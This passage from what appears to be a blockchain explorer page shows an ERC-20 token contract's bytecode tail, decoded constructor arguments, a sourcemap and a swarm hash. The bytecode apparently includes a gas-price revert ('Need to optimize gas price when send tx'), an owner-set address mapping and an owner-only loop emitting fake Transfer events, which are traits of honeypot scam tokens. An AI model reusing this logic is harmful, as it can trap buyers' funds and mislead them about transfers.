ffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161151491906117e5565b60405180910390a3611587565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161157e91906117e5565b60405180910390a35b5b505050565b60003a9050818111156115d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cc90611e31565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611618826115ed565b9050919050565b6116288161160d565b811461163357600080fd5b50565b6000813590506116458161161f565b92915050565b600060208284031215611661576116606115e3565b5b600061166f84828501611636565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116b2578082015181840152602081019050611697565b60008484015250505050565b6000601f19601f8301169050919050565b60006116da82611678565b6116e48185611683565b93506116f4818560208601611694565b6116fd816116be565b840191505092915050565b6000602082019050818103600083015261172281846116cf565b905092915050565b6000819050919050565b61173d8161172a565b811461174857600080fd5b50565b60008135905061175a81611734565b92915050565b60008060408385031215611777576117766115e3565b5b600061178585828601611636565b92505060206117968582860161174b565b9150509250929050565b60008115159050919050565b6117b5816117a0565b82525050565b60006020820190506117d060008301846117ac565b92915050565b6117df8161172a565b82525050565b60006020820190506117fa60008301846117d6565b92915050565b600080600060608486031215611819576118186115e3565b5b600061182786828701611636565b935050602061183886828701611636565b92505060406118498682870161174b565b9150509250925092565b600060ff82169050919050565b61186981611853565b82525050565b60006020820190506118846000830184611860565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6118c7826116be565b810181811067ffffffffffffffff821117156118e6576118e561188f565b5b80604052505050565b60006118f96115d9565b905061190582826118be565b919050565b600067ffffffffffffffff8211156119255761192461188f565b5b602082029050602081019050919050565b600080fd5b600061194e6119498461190a565b6118ef565b9050808382526020820190506020840283018581111561197157611970611936565b5b835b8181101561199a57806119868882611636565b845260208401935050602081019050611973565b5050509392505050565b600082601f8301126119b9576119b861188a565b5b81356119c984826020860161193b565b91505092915050565b600067ffffffffffffffff8211156119ed576119ec61188f565b5b602082029050602081019050919050565b6000611a11611a0c846119d2565b6118ef565b90508083825260208201905060208402830185811115611a3457611a33611936565b5b835b81811015611a5d5780611a49888261174b565b845260208401935050602081019050611a36565b5050509392505050565b600082601f830112611a7c57611a7b61188a565b5b8135611a8c8482602086016119fe565b91505092915050565b600080600060608486031215611aae57611aad6115e3565b5b6000611abc86828701611636565b935050602084013567ffffffffffffffff811115611add57611adc6115e8565b5b611ae9868287016119a4565b925050604084013567ffffffffffffffff811115611b0a57611b096115e8565b5b611b1686828701611a67565b9150509250925092565b611b298161160d565b82525050565b6000602082019050611b446000830184611b20565b92915050565b60008060408385031215611b6157611b606115e3565b5b6000611b6f85828601611636565b9250506020611b8085828601611636565b9150509250929050565b600081519050611b9981611734565b92915050565b600060208284031215611bb557611bb46115e3565b5b6000611bc384828501611b8a565b91505092915050565b6000604082019050611be16000830185611b20565b611bee60208301846117d6565b9392505050565b611bfe816117a0565b8114611c0957600080fd5b50565b600081519050611c1b81611bf5565b92915050565b600060208284031215611c3757611c366115e3565b5b6000611c4584828501611c0c565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9557607f821691505b602082108103611ca857611ca7611c4e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d178261172a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d4957611d48611cdd565b5b600182019050919050565b6000606082019050611d696000830186611b20565b611d7660208301856117d6565b611d8360408301846117d6565b949350505050565b6000611d968261172a565b9150611da18361172a565b9250828201905080821115611db957611db8611cdd565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000611e1b602783611683565b9150611e2682611dbf565b604082019050919050565b60006020820190508181036000830152611e4a81611e0e565b905091905056fea264697066735822122026ef98519d8c1434806299f9c50e01ae6f8fb80cf8a3462796362ef502e7f6d564736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000003f1bdf10116048a59340000000000000000000000000000000fe0c6847cb5c8879b0d63ca0169aaf2a484d1d9b

-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 5000000000000000000000000000000
Arg [1] : deployer (address): 0xfE0c6847cb5C8879B0d63CA0169aaF2A484D1D9b

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000003f1bdf10116048a59340000000
Arg [1] : 000000000000000000000000fe0c6847cb5c8879b0d63ca0169aaf2a484d1d9b


Deployed Bytecode Sourcemap

860:2111:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2289:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1995:87:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4154:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1291:75:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3039:95:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1005:42:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4880:239:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2094:75:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1997:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2705:264;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;899:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3189:114:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2242:99:6;;;:::i;:::-;;938:35:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1603:83:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2191:91:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3490:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:19:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1372:84;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3719:138:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2175:108:7;;;:::i;:::-;;2486:210:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2289:196:7;1501:13:6;:11;:13::i;:::-;2359:20:7::1;2389:5;2382:23;;;2414:4;2382:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2359:61;;2437:5;2430:22;;;2453:10;2465:12;2430:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2349:136;2289:196:::0;:::o;1995:87:1:-;2040:13;2071:5;2064:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1995:87;:::o;4154:182::-;4227:4;4242:13;4258:12;:10;:12::i;:::-;4242:28;;4279:31;4288:5;4295:7;4304:5;4279:8;:31::i;:::-;4326:4;4319:11;;;4154:182;;;;:::o;1291:75:7:-;1501:13:6;:11;:13::i;:::-;1357:2:7::1;1350:4;;:9;;;;;;;;;;;;;;;;;;1291:75:::0;:::o;3039:95:1:-;3091:7;3116:12;;3109:19;;3039:95;:::o;1005:42:7:-;;;;;;;;;;;;;;;;;;;;;;:::o;4880:239:1:-;4967:4;4982:15;5000:12;:10;:12::i;:::-;4982:30;;5021:37;5037:4;5043:7;5052:5;5021:15;:37::i;:::-;5067:26;5077:4;5083:2;5087:5;5067:9;:26::i;:::-;5109:4;5102:11;;;4880:239;;;;;:::o;2094:75:7:-;2135:7;2161:1;2154:8;;2094:75;:::o;1997:91::-;2055:5;2079:2;2072:9;;1997:91;:::o;2705:264::-;1501:13:6;:11;:13::i;:::-;2858:9:7::1;2853:110;2877:4;:11;2873:1;:15;2853:110;;;2933:4;2938:1;2933:7;;;;;;;;:::i;:::-;;;;;;;;2914:38;;2923:8;2914:38;;;2942:6;2949:1;2942:9;;;;;;;;:::i;:::-;;;;;;;;2914:38;;;;;;:::i;:::-;;;;;;;;2890:3;;;;;:::i;:::-;;;;2853:110;;;;2705:264:::0;;;:::o;899:33::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3189:114:1:-;3254:7;3279:9;:18;3289:7;3279:18;;;;;;;;;;;;;;;;3272:25;;3189:114;;;:::o;2242:99:6:-;1501:13;:11;:13::i;:::-;2305:30:::1;2332:1;2305:18;:30::i;:::-;2242:99::o:0;938:35:7:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1603:83:6:-;1649:7;1674:6;;;;;;;;;;;1667:13;;1603:83;:::o;2191:91:1:-;2238:13;2269:7;2262:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2191:91;:::o;3490:174::-;3559:4;3574:13;3590:12;:10;:12::i;:::-;3574:28;;3611:27;3621:5;3628:2;3632:5;3611:9;:27::i;:::-;3654:4;3647:11;;;3490:174;;;;:::o;980:19:7:-;;;;;;;;;;;;;:::o;1372:84::-;1501:13:6;:11;:13::i;:::-;1445:4:7::1;1428:10;:14;1439:2;1428:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;1372:84:::0;:::o;3719:138:1:-;3799:7;3824:11;:18;3836:5;3824:18;;;;;;;;;;;;;;;:27;3843:7;3824:27;;;;;;;;;;;;;;;;3817:34;;3719:138;;;;:::o;2175:108:7:-;1501:13:6;:11;:13::i;:::-;2233:10:7::1;2225:28;;:51;2254:21;2225:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;2175:108::o:0;2486:210:6:-;1501:13;:11;:13::i;:::-;2589:1:::1;2569:22;;:8;:22;;::::0;2565:89:::1;;2641:1;2613:31;;;;;;;;;;;:::i;:::-;;;;;;;;2565:89;2662:28;2681:8;2662:18;:28::i;:::-;2486:210:::0;:::o;1756:158::-;1825:12;:10;:12::i;:::-;1814:23;;:7;:5;:7::i;:::-;:23;;;1810:99;;1886:12;:10;:12::i;:::-;1859:40;;;;;;;;;;;:::i;:::-;;;;;;;;1810:99;1756:158::o;615:94:0:-;668:7;693:10;686:17;;615:94;:::o;8933:126:1:-;9016:37;9025:5;9032:7;9041:5;9048:4;9016:8;:37::i;:::-;8933:126;;;:::o;10569:467::-;10667:24;10694:25;10704:5;10711:7;10694:9;:25::i;:::-;10667:52;;10752:17;10732:16;:37;10728:303;;10807:5;10788:16;:24;10784:128;;;10865:7;10874:16;10892:5;10838:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;10784:128;10951:57;10960:5;10967:7;10995:5;10976:16;:24;11002:5;10951:8;:57::i;:::-;10728:303;10658:378;10569:467;;;:::o;5482:292::-;5580:1;5564:18;;:4;:18;;;5560:84;;5631:1;5604:30;;;;;;;;;;;:::i;:::-;;;;;;;;5560:84;5670:1;5656:16;;:2;:16;;;5652:84;;5723:1;5694:32;;;;;;;;;;;:::i;:::-;;;;;;;;5652:84;5744:24;5752:4;5758:2;5762:5;5744:7;:24::i;:::-;5482:292;;;:::o;2846:183:6:-;2918:16;2937:6;;;;;;;;;;;2918:25;;2961:8;2952:6;;:17;;;;;;;;;;;;;;;;;;3014:8;2983:40;;3004:8;2983:40;;;;;;;;;;;;2909:120;2846:183;:::o;9874:421:1:-;10002:1;9985:19;;:5;:19;;;9981:87;;10055:1;10026:32;;;;;;;;;;;:::i;:::-;;;;;;;;9981:87;10099:1;10080:21;;:7;:21;;;10076:88;;10151:1;10123:31;;;;;;;;;;;:::i;:::-;;;;;;;;10076:88;10202:5;10172:11;:18;10184:5;10172:18;;;;;;;;;;;;;;;:27;10191:7;10172:27;;;;;;;;;;;;;;;:35;;;;10220:9;10216:74;;;10265:7;10249:31;;10258:5;10249:31;;;10274:5;10249:31;;;;;;:::i;:::-;;;;;;;;10216:74;9874:421;;;;:::o;1462:529:7:-;1583:10;:21;1594:9;1583:21;;;;;;;;;;;;;;;;;;;;;;;;;1579:103;;;1620:31;1634:4;1640:2;1644:6;1620:13;:31::i;:::-;1665:7;;1579:103;1691:10;1704:2;1691:15;;1736:1;1720:18;;:4;;;;;;;;;;;:18;;;1716:100;;1754:31;1768:4;1774:2;1778:6;1754:13;:31::i;:::-;1799:7;;;1716:100;1835:4;;;;;;;;;;;1829:10;;:2;:10;;;1825:119;;1855:31;1869:4;1875:2;1879:6;1855:13;:31::i;:::-;1900:13;1911:1;1900:10;:13::i;:::-;1927:7;;;1825:119;1953:31;1967:4;1973:2;1977:6;1953:13;:31::i;:::-;1569:422;1462:529;;;;:::o;6082:1281:1:-;6186:1;6170:18;;:4;:18;;;6166:528;;6320:5;6304:12;;:21;;;;;;;:::i;:::-;;;;;;;;6166:528;;;6354:19;6376:9;:15;6386:4;6376:15;;;;;;;;;;;;;;;;6354:37;;6422:5;6408:11;:19;6404:113;;;6478:4;6484:11;6497:5;6453:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;6404:113;6666:5;6652:11;:19;6634:9;:15;6644:4;6634:15;;;;;;;;;;;;;;;:37;;;;6341:353;6166:528;6722:1;6708:16;;:2;:16;;;6704:415;;6884:5;6868:12;;:21;;;;;;;;;;;6704:415;;;7091:5;7074:9;:13;7084:2;7074:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;6704:415;7139:9;;;;;;;;;;;7133:15;;:2;:15;;;7129:227;;7183:9;;;;;;;;;;;7168:32;;7177:4;7168:32;;;7194:5;7168:32;;;;;;:::i;:::-;;;;;;;;7129:227;;;7228:9;;;;;;;;;;;7220:17;;:4;:17;;;7216:140;;7277:2;7257:30;;7266:9;;;;;;;;;;;7257:30;;;7281:5;7257:30;;;;;;:::i;:::-;;;;;;;;7216:140;;;7336:2;7321:25;;7330:4;7321:25;;;7340:5;7321:25;;;;;;:::i;:::-;;;;;;;;7216:140;7129:227;6082:1281;;;:::o;2491:208:7:-;2549:11;2600:10;2593:17;;2644:4;2637:3;:11;;2629:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;2539:160;2491:208;:::o;7:75:9:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:180;5359:77;5356:1;5349:88;5456:4;5453:1;5446:15;5480:4;5477:1;5470:15;5497:281;5580:27;5602:4;5580:27;:::i;:::-;5572:6;5568:40;5710:6;5698:10;5695:22;5674:18;5662:10;5659:34;5656:62;5653:88;;;5721:18;;:::i;:::-;5653:88;5761:10;5757:2;5750:22;5540:238;5497:281;;:::o;5784:129::-;5818:6;5845:20;;:::i;:::-;5835:30;;5874:33;5902:4;5894:6;5874:33;:::i;:::-;5784:129;;;:::o;5919:311::-;5996:4;6086:18;6078:6;6075:30;6072:56;;;6108:18;;:::i;:::-;6072:56;6158:4;6150:6;6146:17;6138:25;;6218:4;6212;6208:15;6200:23;;5919:311;;;:::o;6236:117::-;6345:1;6342;6335:12;6376:710;6472:5;6497:81;6513:64;6570:6;6513:64;:::i;:::-;6497:81;:::i;:::-;6488:90;;6598:5;6627:6;6620:5;6613:21;6661:4;6654:5;6650:16;6643:23;;6714:4;6706:6;6702:17;6694:6;6690:30;6743:3;6735:6;6732:15;6729:122;;;6762:79;;:::i;:::-;6729:122;6877:6;6860:220;6894:6;6889:3;6886:15;6860:220;;;6969:3;6998:37;7031:3;7019:10;6998:37;:::i;:::-;6993:3;6986:50;7065:4;7060:3;7056:14;7049:21;;6936:144;6920:4;6915:3;6911:14;6904:21;;6860:220;;;6864:21;6478:608;;6376:710;;;;;:::o;7109:370::-;7180:5;7229:3;7222:4;7214:6;7210:17;7206:27;7196:122;;7237:79;;:::i;:::-;7196:122;7354:6;7341:20;7379:94;7469:3;7461:6;7454:4;7446:6;7442:17;7379:94;:::i;:::-;7370:103;;7186:293;7109:370;;;;:::o;7485:311::-;7562:4;7652:18;7644:6;7641:30;7638:56;;;7674:18;;:::i;:::-;7638:56;7724:4;7716:6;7712:17;7704:25;;7784:4;7778;7774:15;7766:23;;7485:311;;;:::o;7819:710::-;7915:5;7940:81;7956:64;8013:6;7956:64;:::i;:::-;7940:81;:::i;:::-;7931:90;;8041:5;8070:6;8063:5;8056:21;8104:4;8097:5;8093:16;8086:23;;8157:4;8149:6;8145:17;8137:6;8133:30;8186:3;8178:6;8175:15;8172:122;;;8205:79;;:::i;:::-;8172:122;8320:6;8303:220;8337:6;8332:3;8329:15;8303:220;;;8412:3;8441:37;8474:3;8462:10;8441:37;:::i;:::-;8436:3;8429:50;8508:4;8503:3;8499:14;8492:21;;8379:144;8363:4;8358:3;8354:14;8347:21;;8303:220;;;8307:21;7921:608;;7819:710;;;;;:::o;8552:370::-;8623:5;8672:3;8665:4;8657:6;8653:17;8649:27;8639:122;;8680:79;;:::i;:::-;8639:122;8797:6;8784:20;8822:94;8912:3;8904:6;8897:4;8889:6;8885:17;8822:94;:::i;:::-;8813:103;;8629:293;8552:370;;;;:::o;8928:1039::-;9055:6;9063;9071;9120:2;9108:9;9099:7;9095:23;9091:32;9088:119;;;9126:79;;:::i;:::-;9088:119;9246:1;9271:53;9316:7;9307:6;9296:9;9292:22;9271:53;:::i;:::-;9261:63;;9217:117;9401:2;9390:9;9386:18;9373:32;9432:18;9424:6;9421:30;9418:117;;;9454:79;;:::i;:::-;9418:117;9559:78;9629:7;9620:6;9609:9;9605:22;9559:78;:::i;:::-;9549:88;;9344:303;9714:2;9703:9;9699:18;9686:32;9745:18;9737:6;9734:30;9731:117;;;9767:79;;:::i;:::-;9731:117;9872:78;9942:7;9933:6;9922:9;9918:22;9872:78;:::i;:::-;9862:88;;9657:303;8928:1039;;;;;:::o;9973:118::-;10060:24;10078:5;10060:24;:::i;:::-;10055:3;10048:37;9973:118;;:::o;10097:222::-;10190:4;10228:2;10217:9;10213:18;10205:26;;10241:71;10309:1;10298:9;10294:17;10285:6;10241:71;:::i;:::-;10097:222;;;;:::o;10325:474::-;10393:6;10401;10450:2;10438:9;10429:7;10425:23;10421:32;10418:119;;;10456:79;;:::i;:::-;10418:119;10576:1;10601:53;10646:7;10637:6;10626:9;10622:22;10601:53;:::i;:::-;10591:63;;10547:117;10703:2;10729:53;10774:7;10765:6;10754:9;10750:22;10729:53;:::i;:::-;10719:63;;10674:118;10325:474;;;;;:::o;10805:143::-;10862:5;10893:6;10887:13;10878:22;;10909:33;10936:5;10909:33;:::i;:::-;10805:143;;;;:::o;10954:351::-;11024:6;11073:2;11061:9;11052:7;11048:23;11044:32;11041:119;;;11079:79;;:::i;:::-;11041:119;11199:1;11224:64;11280:7;11271:6;11260:9;11256:22;11224:64;:::i;:::-;11214:74;;11170:128;10954:351;;;;:::o;11311:332::-;11432:4;11470:2;11459:9;11455:18;11447:26;;11483:71;11551:1;11540:9;11536:17;11527:6;11483:71;:::i;:::-;11564:72;11632:2;11621:9;11617:18;11608:6;11564:72;:::i;:::-;11311:332;;;;;:::o;11649:116::-;11719:21;11734:5;11719:21;:::i;:::-;11712:5;11709:32;11699:60;;11755:1;11752;11745:12;11699:60;11649:116;:::o;11771:137::-;11825:5;11856:6;11850:13;11841:22;;11872:30;11896:5;11872:30;:::i;:::-;11771:137;;;;:::o;11914:345::-;11981:6;12030:2;12018:9;12009:7;12005:23;12001:32;11998:119;;;12036:79;;:::i;:::-;11998:119;12156:1;12181:61;12234:7;12225:6;12214:9;12210:22;12181:61;:::i;:::-;12171:71;;12127:125;11914:345;;;;:::o;12265:180::-;12313:77;12310:1;12303:88;12410:4;12407:1;12400:15;12434:4;12431:1;12424:15;12451:320;12495:6;12532:1;12526:4;12522:12;12512:22;;12579:1;12573:4;12569:12;12600:18;12590:81;;12656:4;12648:6;12644:17;12634:27;;12590:81;12718:2;12710:6;12707:14;12687:18;12684:38;12681:84;;12737:18;;:::i;:::-;12681:84;12502:269;12451:320;;;:::o;12777:180::-;12825:77;12822:1;12815:88;12922:4;12919:1;12912:15;12946:4;12943:1;12936:15;12963:180;13011:77;13008:1;13001:88;13108:4;13105:1;13098:15;13132:4;13129:1;13122:15;13149:233;13188:3;13211:24;13229:5;13211:24;:::i;:::-;13202:33;;13257:66;13250:5;13247:77;13244:103;;13327:18;;:::i;:::-;13244:103;13374:1;13367:5;13363:13;13356:20;;13149:233;;;:::o;13388:442::-;13537:4;13575:2;13564:9;13560:18;13552:26;;13588:71;13656:1;13645:9;13641:17;13632:6;13588:71;:::i;:::-;13669:72;13737:2;13726:9;13722:18;13713:6;13669:72;:::i;:::-;13751;13819:2;13808:9;13804:18;13795:6;13751:72;:::i;:::-;13388:442;;;;;;:::o;13836:191::-;13876:3;13895:20;13913:1;13895:20;:::i;:::-;13890:25;;13929:20;13947:1;13929:20;:::i;:::-;13924:25;;13972:1;13969;13965:9;13958:16;;13993:3;13990:1;13987:10;13984:36;;;14000:18;;:::i;:::-;13984:36;13836:191;;;;:::o;14033:226::-;14173:34;14169:1;14161:6;14157:14;14150:58;14242:9;14237:2;14229:6;14225:15;14218:34;14033:226;:::o;14265:366::-;14407:3;14428:67;14492:2;14487:3;14428:67;:::i;:::-;14421:74;;14504:93;14593:3;14504:93;:::i;:::-;14622:2;14617:3;14613:12;14606:19;;14265:366;;;:::o;14637:419::-;14803:4;14841:2;14830:9;14826:18;14818:26;;14890:9;14884:4;14880:20;14876:1;14865:9;14861:17;14854:47;14918:131;15044:4;14918:131;:::i;:::-;14910:139;;14637:419;;;:::o

Swarm Source

ipfs://26ef98519d8c1434806299f9c50e01ae6f8fb80cf8a3462796362ef502e7f6d5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.